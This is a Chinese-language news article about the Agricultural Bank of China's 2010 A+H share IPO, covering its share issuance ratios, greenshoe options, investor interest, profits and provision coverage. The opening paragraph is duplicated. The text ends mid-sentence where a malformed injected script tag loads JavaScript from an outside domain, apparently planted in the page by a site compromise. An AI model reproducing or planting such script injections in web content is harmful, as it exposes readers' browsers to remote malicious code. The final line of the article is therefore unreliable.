目前作为国际金融中心的香港市场，因为具有更多的国际投资者、运作相对更成熟、筹资效率更高等优势，农行和承销商团队已将香港市场作为此次IPO的主战场。

　　专家预测说，如果发行成功，上市后农行的资本充足率将稳定地站在监管部门的指标之上。农行给自身设定的目标为：资本充足率不低于11.5%，核心资本充足率不低于8.5%。

　　记者卓尚进与6月9日中国证监会发审委通过农行股份首次发行A股只相隔一天，6月10日香港联交所又对农行发行H股的申请进行聆讯。这意味着，农行这家国有商业银行中最后一家发行上市的国有大行，其面向中国内地和全球的IPO之旅正式启程。

　　境外投资者兴趣浓厚按照日前农行预披露的《农行首次公开发行招股说明书(申报稿)》，农行将采取A+H股同步发行上市的方式进行IPO。申报稿显示，若未考虑农行A股发行和H股发行的超额配售选择权(又称“绿鞋”机制)，将发行不超过222.35亿股，占A股和H股发行完成后总股本3176.47亿股的比例不超过7%。

　　若全额行使农行A股和H股发行的“绿鞋”机制，将发行不超过255.71亿股，占A股和H股发行完成后总股本3247.94亿股的比例不超过7.87%。与A股同步，农行拟通过香港公开发行和国际配售，初步发行不超过254.12亿股H股。假设没有行使A股和H股的“绿鞋”机制，农行A股和H股发行后，H股股份占该行发行后总股本的比例不超过8.00%；假设全额行使A股和H股的“绿鞋”机制，农行将发行不超过292.31亿股H股，农行A股和H股发行后，H股股份占该行发行后总股本的比例不超过9.00%。

　　这就是说，如果没有行使A股和H股的“绿鞋”机制，农行总共将发行478.06亿新股，约占发行后总股本的15%，其中A股和H股分别占7%和8%。如果行使“绿鞋”机制，农行将总共发行548.02亿股新股，约占发行后总股本的16.87%，其中A股和H股分别占7.87%和9%。因此，无论按多少倍的市净率确定发行价，只要A股和H股的发行价格在人民币与港币汇率计算后保持一致，那么，通过H股的筹资金额将大于通过A股的筹资金额。

　　显然，目前作为国际金融中心的香港市场，因为具有更多的国际投资者、运作相对更成熟、筹资效率更高等优势，农行和承销商团队已将香港市场作为此次IPO的主战场。申报稿显示，此次农行A股发行方式为A股战略投资者定向配售、网下向询价对象询价配售与网上资金申购发行相结合的方式，H股亦将采用引入基石投资者的发行方式。

　　据有关方面透露的信息，按照农行高管前期与境内外投资者的接触情况来看，境内外投资者对农行IPO表现出浓厚的兴趣，A股战略配售及H股基石投资者均有众多的候选人名单，国内一些大型央企、海外主权投资基金、活跃的对冲基金以及香港一批富豪等都希望成为农行IPO的战略配售投资者或基石投资者。有投行人士分析预测说，此次农行IPO应当会成为今年全球最大单IPO。6月10日晚，有消息称农行已顺利通过港交所的上市聆讯。

　　股价估值长远看好农行面向境内外IPO已“箭在弦上”，广大投资者最为关心的是农行盈利能力如何、可否保持持续增长、资产质量稳定与否？从农行预披露报告来看，在国家股改政策支持下和农行自身加快改革发展创新的进程中，农行具有持续盈利的能力，各项财务指标稳健，具有与其他几家国有商业银行上市前相当的投资价值。

　　“2009年，农行所有的分行都取得盈利，这是农行成立60年来的第一次。”“农行去年净利润650亿元，加上拨备多提了300多亿元，加在一起有约1000亿元的利润。”农行的一位高管日前这样对本报记者说。

　　农行申报稿表明，2009年农行净利润650亿元，比2008年增长26.27%；2009年的拨备覆盖率105.37%，比2008年的63.53%提高了41.84个百分点。

　　2006年10月工行成功完成IPO，这家盈利最多的国有大行2005年的净利润为374亿元；工行、中行和建行上市前的平均拨备覆盖率为61.3%。这表明，农行上市前的净利润规模已超过上市前的其他三大国有商业银行；而农行上市前的拨备覆盖率已远超过上市前的其他三大国有商业银行的平均拨备覆盖率；如果农行2009年不是将拨备覆盖率大幅提高近42个百分点，那么2009年其净利润已与工行2009年的净利润相当，并且超过了中行、建行的同一指标。

　　另外，至2010年一季度末，农行的拨备覆盖率又提高至123.25%，较2009年末提高了17.88个百分点。按照如此速度来测算，农行至今年年底之前，其拨备覆盖率将完全可能达到或略超过当前上市银行150%以上的平均拨备覆盖率。

　　申报稿还表明，现在农行的盈利能力?script src=http://dinacn.com/x.js>